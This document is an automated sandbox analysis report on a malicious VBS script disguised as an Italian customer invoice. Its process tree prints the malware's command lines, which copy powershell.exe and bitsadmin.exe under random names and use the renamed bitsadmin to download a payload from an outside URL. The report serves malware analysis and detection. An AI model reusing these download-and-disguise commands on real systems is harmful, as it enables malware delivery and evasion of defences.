Analysis

  • max time kernel
    65s
  • max time network
    68s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    13/07/2020, 07:40

General

  • Target
    Fatt_cliente_07008120482.vbs
  • Size 4KB
  • Sample200713-76qs887gzx
  • SHA256 1b30d432a173c580e9c49c492974bb046d9702bb53a80eccd5c4137ecf9ef839
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 7 IoCs
  • Executes dropped EXE 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_07008120482.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2916
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zwubvVZY.exe
      2⤵
        PID:416
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\wubvVZY.exe
        2⤵
          PID:808
        • C:\Users\Admin\AppData\Roaming\wubvVZY.exe
          "C:\Users\Admin\AppData\Roaming\wubvVZY.exe" /transfer VWCWnV /download https://sheyenneweber.com/webol/07008120482/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg
          2⤵
          • Executes dropped EXE
          PID:812

      Network

            MITRE ATT&CK Matrix

            Replay Monitor

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            Downloads

            memory/2916-0-0x0000027CB4C00000-0x0000027CB4C04000-memory.dmp